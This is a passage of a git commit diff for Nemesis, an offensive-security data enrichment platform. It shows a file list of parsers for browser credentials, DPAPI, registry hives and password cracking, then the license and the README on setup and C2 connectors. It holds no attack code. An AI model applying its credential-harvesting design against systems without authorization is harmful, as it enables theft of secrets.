cmd/dashboard/dashboard/__init__.py create mode 100644 cmd/dashboard/dashboard/css/files_style.css create mode 100644 cmd/dashboard/dashboard/img/nemesis_logo.png create mode 100644 cmd/dashboard/dashboard/pages/1_Document Search.py create mode 100644 cmd/dashboard/dashboard/pages/2_Files.py create mode 100644 cmd/dashboard/dashboard/pages/3_Chromium.py create mode 100644 cmd/dashboard/dashboard/pages/4_DPAPI.py create mode 100644 cmd/dashboard/dashboard/pages/5_Credentials.py create mode 100644 cmd/dashboard/dashboard/pages/6_NoseyParker.py create mode 100644 cmd/dashboard/dashboard/pages/7_Hashes.py create mode 100644 cmd/dashboard/dashboard/templates.py create mode 100644 cmd/dashboard/dashboard/utils.py create mode 100644 cmd/dashboard/poetry.lock create mode 100644 cmd/dashboard/poetry.toml create mode 100644 cmd/dashboard/pyproject.toml create mode 100644 cmd/dashboard/pyrightconfig.json create mode 100644 cmd/dashboard/pytest.ini create mode 100644 cmd/dashboard/tests/__init__.py create mode 100644 cmd/dotnet/.flake8 create mode 100644 cmd/dotnet/.python-version create mode 100644 cmd/dotnet/.vscode/extensions.json create mode 100644 cmd/dotnet/.vscode/launch.json create mode 100644 cmd/dotnet/.vscode/settings.json create mode 100644 cmd/dotnet/.vscode/tasks.json create mode 100644 cmd/dotnet/README.md create mode 100644 cmd/dotnet/dotnet/__init__.py create mode 100644 cmd/dotnet/dotnet/__main__.py create mode 100644 cmd/dotnet/dotnet/app.py create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.dll create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.runtimeconfig.json create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Mdb.dll create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Pdb.dll create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Rocks.dll create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.dll create mode 100644 cmd/dotnet/dotnet/services/InspectAssembly/Newtonsoft.Json.dll create mode 100644 cmd/dotnet/dotnet/services/dotnet.py create mode 100644 cmd/dotnet/dotnet/settings.py create mode 100644 cmd/dotnet/poetry.lock create mode 100644 cmd/dotnet/poetry.toml create mode 100644 cmd/dotnet/pyproject.toml create mode 100644 cmd/dotnet/pyrightconfig.json create mode 100644 cmd/dotnet/tests/__init__.py create mode 100644 cmd/dotnet/tests/dotnet_test.py create mode 100644 cmd/enrichment/.dockerignore create mode 100644 cmd/enrichment/.env.example create mode 100644 cmd/enrichment/.flake8 create mode 100644 cmd/enrichment/.gitignore create mode 100644 cmd/enrichment/.python-version create mode 100644 cmd/enrichment/.vscode/extensions.json create mode 100644 cmd/enrichment/.vscode/launch.json create mode 100644 cmd/enrichment/.vscode/settings.json create mode 100644 cmd/enrichment/.vscode/tasks.json create mode 100644 cmd/enrichment/README.md create mode 100644 cmd/enrichment/enrichment/__main__.py create mode 100644 cmd/enrichment/enrichment/bootstrap.py create mode 100644 cmd/enrichment/enrichment/cli/submit_to_nemesis/__main__.py create mode 100644 cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.py create mode 100644 cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml create mode 100644 cmd/enrichment/enrichment/containers.py create mode 100644 cmd/enrichment/enrichment/lib/canaries.py create mode 100644 cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py create mode 100644 cmd/enrichment/enrichment/lib/ext_tools/LICENSE create mode 100644 cmd/enrichment/enrichment/lib/ext_tools/office2john.py create mode 100644 cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/Meta.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/appsettings.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/archive.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/lnk.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/passwd.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/pdf.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/pe.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/shadow.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/tomcat.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/web_config.py create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara create mode 100644 cmd/enrichment/enrichment/lib/file_parsers/yara/web_config.yara create mode 100644 cmd/enrichment/enrichment/lib/helpers.py create mode 100644 cmd/enrichment/enrichment/lib/nemesis_db.py create mode 100644 cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara create mode 100644 cmd/enrichment/enrichment/lib/registry.py create mode 100644 cmd/enrichment/enrichment/lib/secretsdump.py create mode 100644 cmd/enrichment/enrichment/services/text_extractor.py create mode 100644 cmd/enrichment/enrichment/settings.py create mode 100644 cmd/enrichment/enrichment/tasks/chromium_cookie.py create mode 100644 cmd/enrichment/enrichment/tasks/dpapi/dpapi.py create mode 100644 cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py create mode 100644 cmd/enrichment/enrichment/tasks/dpapi/masterkey.py create mode 100644 cmd/enrichment/enrichment/tasks/elastic_connector.py create mode 100644 cmd/enrichment/enrichment/tasks/file_processor.py create mode 100644 cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py create mode 100644 cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py create mode 100644 cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv create mode 100644 cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py create mode 100644 cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py create mode 100644 cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py create mode 100644 cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py create mode 100644 cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py create mode 100644 cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py create mode 100644 cmd/enrichment/enrichment/tasks/registry_hive.py create mode 100644 cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py create mode 100644 cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv create mode 100644 cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py create mode 100644 cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/crack_list/__init__.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/landingpage.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py create mode 100644 cmd/enrichment/enrichment/tasks/webapi/yara_api.py create mode 100644 cmd/enrichment/poetry.lock create mode 100644 cmd/enrichment/poetry.toml create mode 100644 cmd/enrichment/pyproject.toml create mode 100644 cmd/enrichment/pyrightconfig.json create mode 100644 cmd/enrichment/pytest.ini create mode 100644 cmd/enrichment/tests/__init__.py create mode 100644 cmd/enrichment/tests/conftest.py create mode 100644 cmd/enrichment/tests/services/__init__.py create mode 100644 cmd/enrichment/tests/services/postgres_connector/__init__.py create mode 100644 cmd/enrichment/tests/services/postgres_connector/conftest.py create mode 100644 cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson create mode 100644 cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson create mode 100644 cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson create mode 100644 cmd/enrichment/tests/services/postgres_connector/test_seatbelt_datatypes.py create mode 100644 cmd/enrichment/tests/services/process_categorizer/__init__.py create mode 100644 cmd/enrichment/tests/services/process_categorizer/data/browsers.csv create mode 100644 cmd/enrichment/tests/services/process_categorizer/data/security_products.csv create mode 100644 cmd/enrichment/tests/services/process_categorizer/test_process_categorizer.py create mode 100644 cmd/enrichment/tests/services/raw_data_tag_service/conftest.py create mode 100644 cmd/enrichment/tests/services/raw_data_tag_service/test_service.py create mode 100644 cmd/enrichment/tests/services/web_api/test_main.py create mode 100644 cmd/nlp/.flake8 create mode 100644 cmd/nlp/.gitignore create mode 100644 cmd/nlp/.python-version create mode 100644 cmd/nlp/.vscode/extensions.json create mode 100644 cmd/nlp/.vscode/launch.json create mode 100644 cmd/nlp/.vscode/settings.json create mode 100644 cmd/nlp/.vscode/tasks.json create mode 100644 cmd/nlp/README.md create mode 100644 cmd/nlp/nlp/__init__.py create mode 100644 cmd/nlp/nlp/__main__.py create mode 100644 cmd/nlp/nlp/app.py create mode 100644 cmd/nlp/nlp/services/indexing.py create mode 100644 cmd/nlp/nlp/services/semantic_search.py create mode 100644 cmd/nlp/nlp/settings.py create mode 100644 cmd/nlp/poetry.lock create mode 100644 cmd/nlp/poetry.toml create mode 100644 cmd/nlp/pyproject.toml create mode 100644 cmd/nlp/pyrightconfig.json create mode 100644 cmd/nlp/tests/__init__.py create mode 100644 cmd/passwordcracker/.dockerignore create mode 100644 cmd/passwordcracker/.env.example create mode 100644 cmd/passwordcracker/.flake8 create mode 100644 cmd/passwordcracker/.gitignore create mode 100644 cmd/passwordcracker/.python-version create mode 100644 cmd/passwordcracker/.vscode/extensions.json create mode 100644 cmd/passwordcracker/.vscode/launch.json create mode 100644 cmd/passwordcracker/.vscode/settings.json create mode 100644 cmd/passwordcracker/.vscode/tasks.json create mode 100644 cmd/passwordcracker/README.md create mode 100644 cmd/passwordcracker/passwordcracker/__main__.py create mode 100644 cmd/passwordcracker/passwordcracker/bootstrap.py create mode 100644 cmd/passwordcracker/passwordcracker/containers.py create mode 100644 cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py create mode 100644 cmd/passwordcracker/passwordcracker/settings.py create mode 100644 cmd/passwordcracker/passwordcracker/tasks/password_cracker.py create mode 100644 cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt create mode 100644 cmd/passwordcracker/passwordcracker/wordlists/top_100000.txt create mode 100644 cmd/passwordcracker/poetry.lock create mode 100644 cmd/passwordcracker/poetry.toml create mode 100644 cmd/passwordcracker/pyproject.toml create mode 100644 cmd/passwordcracker/pyrightconfig.json create mode 100644 cmd/passwordcracker/pytest.ini create mode 100644 cmd/passwordcracker/tests/__init__.py create mode 100644 cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb create mode 100644 cmd/tensorflow-serving/models/bilstm_model/1/saved_model.pb create mode 100644 cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.data-00000-of-00001 create mode 100644 cmd/tensorflow-serving/models/bilstm_model/1/variables/variables.index create mode 100644 cmd/tensorflow-serving/models/models.config create mode 100644 dockerfiles/dashboard.Dockerfile create mode 100644 dockerfiles/dotnet.Dockerfile create mode 100644 dockerfiles/enrichment.Dockerfile create mode 100644 dockerfiles/kibana.Dockerfile create mode 100644 dockerfiles/nlp.Dockerfile create mode 100644 dockerfiles/passwordcracker.Dockerfile create mode 100644 dockerfiles/tensorflow-serving.Dockerfile create mode 100644 docs/development.md create mode 100644 docs/elasticsearch-kibana.md create mode 100644 docs/images/kibana-get-es-request.png create mode 100644 docs/kubernetes.md create mode 100644 docs/new_odr_datatype.md create mode 100644 docs/new_seatbelt_datatype_ingestion.md create mode 100644 docs/new_service.md create mode 100644 docs/odr/README.md create mode 100644 docs/odr/references/authentication_data.md create mode 100644 docs/odr/references/cookie.md create mode 100644 docs/odr/references/file_data.md create mode 100644 docs/odr/references/file_information.md create mode 100644 docs/odr/references/host_data/named_pipe.md create mode 100644 docs/odr/references/host_data/process.md create mode 100644 docs/odr/references/host_data/registry_value.md create mode 100644 docs/odr/references/host_data/service.md create mode 100644 docs/odr/references/network_connection.md create mode 100644 docs/odr/references/path_list.md create mode 100644 docs/odr/references/raw_data.md create mode 100644 docs/overview.md create mode 100644 docs/postgres.md create mode 100644 docs/rabbitmq.md create mode 100644 docs/setup.md create mode 100644 img/nemesis_white.png create mode 100644 kubernetes/dashboard/deployment.yaml create mode 100644 kubernetes/dashboard/ingress.yaml create mode 100644 kubernetes/dashboard/service.yaml create mode 100644 kubernetes/dotnet/deployment.yaml create mode 100644 kubernetes/dotnet/service.yaml create mode 100644 kubernetes/elastic/elasticsearch.yaml create mode 100644 kubernetes/elastic/ingress.yaml create mode 100644 kubernetes/elastic/kibana.yaml create mode 100644 kubernetes/enrichment/configmap.yml create mode 100644 kubernetes/enrichment/deployment.yaml create mode 100644 kubernetes/enrichment/ingress.yaml create mode 100644 kubernetes/enrichment/service.yaml create mode 100644 kubernetes/gotenberg/deployment.yaml create mode 100644 kubernetes/gotenberg/network.yml create mode 100644 kubernetes/gotenberg/service.yaml create mode 100644 kubernetes/helm/values/ingress-nginx.yaml create mode 100644 kubernetes/metrics-server/metrics-server.yaml create mode 100644 kubernetes/minio/ingress.yaml create mode 100644 kubernetes/monitoring/alertmanager.yaml create mode 100644 kubernetes/monitoring/elasticsearch-exporter.yaml create mode 100644 kubernetes/monitoring/fluentd.yaml create mode 100644 kubernetes/monitoring/grafana.yaml create mode 100644 kubernetes/monitoring/ingress.yaml create mode 100644 kubernetes/monitoring/kube-state-metrics.yaml create mode 100644 kubernetes/monitoring/kubernetes-node-exporter.yaml create mode 100644 kubernetes/monitoring/kubernetes-node-exporter.yaml.docker_for_windows create mode 100644 kubernetes/monitoring/postgres-exporter.yaml create mode 100644 kubernetes/monitoring/prometheus.yaml create mode 100644 kubernetes/nlp/deployment.yaml create mode 100644 kubernetes/nlp/service.yaml create mode 100644 kubernetes/passwordcracker/deployment.yaml create mode 100644 kubernetes/passwordcracker/service.yaml create mode 100644 kubernetes/pgadmin/configmap.yaml create mode 100644 kubernetes/pgadmin/ingress.yaml create mode 100644 kubernetes/pgadmin/service.yaml create mode 100644 kubernetes/pgadmin/statefulset.yaml create mode 100644 kubernetes/postgres/configmap.yaml create mode 100644 kubernetes/postgres/deployment.yaml create mode 100644 kubernetes/postgres/service.yaml create mode 100644 kubernetes/rabbitmq/NOTE.md create mode 100644 kubernetes/rabbitmq/configmap.yaml create mode 100644 kubernetes/rabbitmq/ingress.yaml create mode 100644 kubernetes/rabbitmq/rbac.yaml create mode 100644 kubernetes/rabbitmq/service-discovery.yaml create mode 100644 kubernetes/rabbitmq/service.yaml create mode 100644 kubernetes/rabbitmq/statefulset.yaml create mode 100644 kubernetes/tensorflow-serving/deployment.yaml create mode 100644 kubernetes/tensorflow-serving/service.yaml create mode 100644 kubernetes/tika/configmap.yaml create mode 100644 kubernetes/tika/deployment.yaml create mode 100644 kubernetes/tika/service.yaml create mode 100644 monitoring/grafana-dashboards.yaml create mode 100755 nemesis-cli.py create mode 100644 packages/protobufs/nemesis.proto create mode 100644 packages/python/nemesiscommon/.flake8 create mode 100644 packages/python/nemesiscommon/.gitignore create mode 100644 packages/python/nemesiscommon/.python-version create mode 100644 packages/python/nemesiscommon/.vscode/launch.json create mode 100644 packages/python/nemesiscommon/.vscode/settings.json create mode 100644 packages/python/nemesiscommon/nemesiscommon/__init__.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/apiclient.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/constants.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/helpers.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/logging.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/messaging.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/messaging_rabbitmq.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/mocks/__init__.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/mocks/storage.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/nemesis_tempfile.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/services/alerter.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/settings.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/setupqueues.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/socketwaiter.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/storage.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/storage_minio.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/storage_s3.py create mode 100644 packages/python/nemesiscommon/nemesiscommon/tasking.py create mode 100644 packages/python/nemesiscommon/poetry.lock create mode 100644 packages/python/nemesiscommon/poetry.toml create mode 100644 packages/python/nemesiscommon/pyproject.toml create mode 100644 packages/python/nemesiscommon/pyrightconfig.json create mode 100644 packages/python/nemesiscommon/pytest.ini create mode 100644 packages/python/nemesiscommon/tests/__init__.py create mode 100644 packages/python/nemesiscommon/tests/rabbitmqconsumer_test.py create mode 100644 packages/python/nemesispb/.gitignore create mode 100644 packages/python/nemesispb/README.md create mode 100644 packages/python/nemesispb/__init.py__ create mode 100755 packages/python/nemesispb/build.sh create mode 100644 packages/python/nemesispb/nemesispb/__init__.py create mode 100644 packages/python/nemesispb/nemesispb/nemesis_pb2.py create mode 100644 packages/python/nemesispb/nemesispb/nemesis_pb2.pyi create mode 100644 packages/python/nemesispb/poetry.lock create mode 100644 packages/python/nemesispb/pyproject.toml create mode 100644 sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Cookies create mode 100644 sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/History create mode 100644 sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Login Data create mode 100644 sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Local State create mode 100644 sample_files/C/Users/DPAPIUser/AppData/Roaming/Microsoft/Protect/S-1-5-21-937929760-3187473010-80948926-2115/ab998260-e99d-4871-8f4b-d922b2848ce6 create mode 100644 sample_files/SiteList.xml create mode 100644 sample_files/appsettings.json create mode 100644 sample_files/dotnet_assembly.exe create mode 100644 sample_files/dpapi_blob.bin create mode 100644 sample_files/dpapi_blob_b64.txt create mode 100644 sample_files/dpapi_domain_backupkey.json create mode 100644 sample_files/enc_pdf_test.pdf create mode 100755 sample_files/enc_pdf_uncrackable.pdf create mode 100644 sample_files/enc_zip_test.zip create mode 100644 sample_files/groups.xml create mode 100644 sample_files/nosey_parker_google.config create mode 100644 sample_files/office_doc_new.docx create mode 100644 sample_files/office_doc_new_enc.docx create mode 100644 sample_files/office_doc_ole.doc create mode 100644 sample_files/office_doc_ole_enc.doc create mode 100644 sample_files/passwd create mode 100644 sample_files/pdf_test.pdf create mode 100644 sample_files/sample.png create mode 100644 sample_files/seatbelt/seatbelt_fileinfo.ndjson create mode 100644 sample_files/seatbelt/seatbelt_osinfo.ndjson create mode 100644 sample_files/seatbelt/seatbelt_registryvalue_service.ndjson create mode 100644 sample_files/seatbelt/seatbelt_service.ndjson create mode 100644 sample_files/services.json create mode 100644 sample_files/shadow create mode 100644 sample_files/shortcut.lnk create mode 100644 sample_files/structured/authentication_data.json create mode 100644 sample_files/structured/cookies.json create mode 100644 sample_files/structured/file_data.json create mode 100644 sample_files/structured/file_information1.json create mode 100644 sample_files/structured/file_information2.json create mode 100644 sample_files/structured/network_connections.json create mode 100644 sample_files/structured/path_list.json create mode 100644 sample_files/structured/process_data.json create mode 100644 sample_files/structured/registry_value.json create mode 100644 sample_files/structured/services.json create mode 100644 sample_files/tomcat-users.xml create mode 100644 sample_files/web.config create mode 100644 sample_files/zip_test.zip create mode 100755 scripts/build_protobufs.sh create mode 100644 scripts/dashboard_start.sh create mode 100755 scripts/infra_start.sh create mode 100755 scripts/interact.sh create mode 100755 scripts/pod_resource_usage.sh create mode 100755 scripts/pull_images.sh create mode 100755 scripts/services_start.sh create mode 100755 scripts/submit_to_nemesis.sh create mode 100755 scripts/total_memory.sh create mode 100755 scripts/watch_pods.sh create mode 100644 skaffold.yaml diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e9a9ae4 --- /dev/null +++ b/LICENSE @@ -0,0 +1,14 @@ +Nemesis is provided under the 3-clause BSD license below. + +************************************************************* + +Copyright (c) 2018, Lee Christense, Will Schroeder, and Maxwell Harley +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/README.md b/README.md index 8ab5d6c..7789c3c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,134 @@ -# Nemesis -Nemesis Repository +

+ Nemesis +

+
+ +

+version 0.1.0a + + Slack + + + @tifkin_ on Twitter + + @harmj0y on Twitter + + @0xdab0 on Twitter + + Sponsored by SpecterOps + +

+
+ + +# Overview + +Nemesis is an offensive data enrichment pipeline and operator support system. + +Built on Kubernetes with scale in mind, our goal with Nemesis was to create a centralized data processing platform that ingests data produced during offensive security assessments. + +Nemesis aims to automate a number of repetitive tasks operators encounter on engagements, empower operators’ analytic capabilities and collective knowledge, and create structured and unstructured data stores of as much operational data as possible to help guide future research and facilitate offensive data analysis. + +# Setup + +1. Ensure the hardware/software requisites are met and configuration values are completed [as described here in the setup](./docs/setup.md) + +2. Run `python3 nemesis_cli.py` and follow any prompts. + +# Running + +In the root directory of the repo, use skaffold to start everything: +``` +skaffold run +``` + +Run `skaffold delete` to remove running pods. + +The ingress port for Nemesis is **8080**, which routes access for all services. To change this port, in `./skaffold.yaml` modify the `localPort` value under the `portForward-ingress` configuration section. + +The only other publicly forwarded port is **9001** if minio is used for storage (the default). + +## Changing Persistent Storage + +Elasticsearch, PostgreSQL, and Minio (if using instead of AWS S3) have persistent storage volumes in the cluster. + +### Artifact Storage Backend + +By default Minio will be used for artifact storage. If `storage_provider=s3` is set via any config option, AWS S3 storage is used along with proper KMS key encryption. If this is the case, the `aws_*` config variables need to be completed, otherwise these values are ignored. + +### Elasticsearch + +The default storage size is 20Gi. To change this, modify the *two* `storage: 20Gi` entries under the **PersistentVolume** and **PersistentVolumeClaim** sections in ./kubernetes/elastic/elasticsearch.yaml + +### PostgreSQL + +The default storage size is 15Gi. To change this, modify the *two* `storage: 15Gi` entries under the **PersistentVolume** and **PersistentVolumeClaim** sections in ./kubernetes/postgres/deployment.yaml + +### Minio + +If using Minio (instead of AWS S3) the default storage size is `30Gi`. To change this, modify the **minio_storage_size** value in the nemesis.config file or cli argument. + +## Troubleshooting Start + +If you encounter an error along the lines of `deployment/gotenberg failed. Error: container gotenberg is waiting to start: gotenberg/gotenberg:7.7.0 can't be pulled.`, run `minikube ssh` and `docker pull X` where "X is the container pull that timed out (e.g., "gotenberg/gotenberg:7.7.0" in the previous example). + +If the containers aren't able to reach the Internet or resolve addresses, add the following to `/etc/docker/daemon.json` and restart Docker with `sudo service docker restart`: +``` +{ + "dns": ["8.8.8.8"] +} +``` + +# Usage + +Browsing to `http://:8080/` will display the main service routes. Operators' main interaction with Nemesis data will usually be the `/dashboard/` and `/kibana/` endpoints (and possibly `/pgadmin/`). See the **Exposed services** subsection below for credential details for each. + +The main Nemesis dashboard allows for uploading files for manual processing, otherwise see the **C2 Connectors** subsection below. + +## C2 Connectors + +In order for Nemesis to perform data enrichment, data first needs to be ingested into the platform. The `./cmd/connectors/` folder contains the following connectors for various C2 platforms: + +- Cobalt Strike +- Metasploit +- Mythic +- OST Stage1 +- Sliver + +See each applicable subfolder for more information on configuration. + +***Note: not all connectors have the same level of completeness! We intended to show the range of connectors possible, but there is not yet feature parity.*** + +## Exposed services + +All services are exposed through a single HTTP endpoint (defined in the NEMESIS_HTTP_SERVER environment variable) which is protected by HTTP basic auth defined by `BASIC_AUTH_USER:BASIC_AUTH_PASSWORD`. + +To see a basic landing page with exposed services, go to http NEMESIS_HTTP_SERVER endpoint root. The routes and corresponding services are: + +| Service | Route | Username | Password | +| ------------ | ----------------- | ------------------- | ----------------------- | +| dashboard | /dashboard/ | DASHBOARD_USER | DASHBOARD_PASSWORD | +| kibana | /kibana/ | ELASTICSEARCH_USER | ELASTICSEARCH_PASSWORD | +| pgadmin | /pgadmin/ | PGADMIN_EMAIL | PGADMIN_PASSWORD | +| rabbitmq | /rabbitmq/ | RABBITMQ_ADMIN_USER | RABBITMQ_ADMIN_PASSWORD | +| alertmanager | /alertmanager/ | N/A | N/A | +| grafana | /grafana/ | GRAFANA_USER | GRAFANA_PASSWORD | +| prometheus | /prometheus/graph | N/A | N/A | +| web-api | /api/ | N/A | N/A | +| elastic | /elastic/ | ELASTICSEARCH_USER | ELASTICSEARCH_PASSWORD | +| yara | /yara/ | N/A | N/A | +| crack-list | /crack-list/ | N/A | N/A | + + +# Contributing / Development Environment Setup +See [development.md](./docs/development.md) + + +# Acknowledgments + +Nemesis is built on large chunk of other people's work. Throughout the codebase we've provided citations, references, and applicable licenses for anything used or adapted from public sources. If we're forgotten proper credit anywhere, please let us know or submit a pull request! + diff --git a/cmd/chrome-extension/.eslintrc.json 